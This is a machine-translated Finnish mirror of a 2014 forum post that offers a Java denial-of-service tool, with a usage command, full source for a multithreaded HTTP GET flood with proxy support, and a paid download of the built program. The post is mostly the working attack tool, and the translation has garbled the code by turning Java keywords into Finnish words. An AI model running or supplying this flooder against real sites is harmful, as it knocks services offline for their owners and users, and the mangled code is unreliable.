Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 15524|Vastaus: 0

[Vinkkejä] D-DOS-hyökkääjäohjelman Java-versio

[Kopioi linkki]
Julkaistu 1.12.2014 15.21.57 | | |
JAR-koodi
dDOS-hyökkäys toteutettu Javalla.
Se ei kuitenkaan eroa perinteisistä dDos-malleista.
Tämä ohjelmisto on DDOS-hyökkäys sivulle.
Näin käytetään:
java -jar ccddos.jar www.xxx.com 80 10 /index.do käyttäjänimi=xxx 80

[mw_shl_code=java,true]tuo java.io.IOException;
tuo java.net.ConnectException;
tuo java.net.InetSocketAddress;
tuo java.nio.ByteBuffer;
tuo java.nio.channels.SelectionKey;
tuo java.nio.channels.Selector;
tuo java.nio.channels.SocketChannel;
tuo java.util.Iterator;
tuo java.util.Random;
tuo java.util.Set;
tuo java.util.Timer;
tuo java.util.TimerTask;
tuo java.util.Vector;

/**
* Daemon-langat
*
* @author hallinto
*
*/
Julkisen luokan testi {
    yksityinen String-isäntä, uri, param;
    yksityinen int portti;
    yksityinen loppuvektori<CCDDOSThread> v = uusi <CCDDOSThread>vektori();
    yksityinen InetSocketAddress isa;
    yksityiset int threadsCount = 500; Säikeiden määrä
    yksityinen satunnainen r = uusi satunnainen();
    yksityinen pitkä aikalisä = 5000l;

    /**
     * Avaa hyökkäys
     */
    julkinen void start() {
        kun (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = uusi CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Ajastin t = uusi ajastin();
        t.schedule(new TimerTask() {
            julkinen void run() {
                int count = 0, timeout-ketjut = 0;
                long ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = nolla;
                        count++;
                    } muuten jos (ct - th.start > aikalisä) {
                        Aikalisä, ulkoinen loppu
                        timeoutthreads++;
                        th.setCancle (tosi);
                        th.interrupt();
                        it.remove();
                        th = nolla;
                        count++;
                    }
                }
                if (count == 0) {
                    paluu;
                }
                System.out.println("Säie on suljettu:"+count+", missä aikakatkaisusäie on yhdistetty:"
                        + timeout-ketjut);
                kun (int i = 0; Minä < laskemaan; i++) {
                    CCDDOSThread th = uusi CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println ("Daemon-säie käynnistetty:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            system.out.println ("Ohjeet:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } muuten jos (args.length >= 8) {
            Järjestely agentin kanssa
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        testi m = uusi testi();
        m.host = args[0];
        m.port = kokonaisluku.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = kokonaisluku.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = uusi InetSocketAddress (m.host, m.port);
        m.start();
    }

    /**
     * Hyökkäyslangat
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread laajentaa Thread {
        yksityinen Boolen cancle = epätosi;
        public long start = System.currentTimeMillis();

        public void setCancle(boolean-cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            paluucancle;
        }

        julkinen void run() {
            pitkä aloitus = System.currentTimeMillis();
            Valitsimen valitsin;
            kokeile {
                selector = Selector.open();
                SocketChannel sc;
                kokeile {
                    sc = SocketChannel.open(isa);
                } catch (esim. ConnectException) {
                    System.out.println(esim. getMessage());
                    cancle = tosi;
                    selector.close();
                    paluu;
                }

                sc.configureBlocking(väärin);
                sc.register(valitsija, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                odota: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > aikakatkaisu) {
                        cancle = tosi;
                        tauko, odota;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    while (it.hasNext() & !cancle) {
                        if (System.currentTimeMillis() - start > aikakatkaisu) {
                            cancle = tosi;
                            tauko, odota;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            String head = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Yhteys: lähellä\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } kiinniotto (IOException ex) {
                cancle = tosi;
            }
        }
    }
}
[/mw_shl_code]

Valmis tuote ja lähdekoodin lataus: java ddos.zip (8.42 KB, Latausten määrä: 0, Myyntihinta: 2 Grain MB)





Edellinen:Puhutaanpa historian suurimmasta 400G mystisestä DDoS-hyökkäyksestä
Seuraava:Lähetä iPhone 6 keskustelemaan artefaktin murtumattomasta versiosta, jossa ei ole pisteitä
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com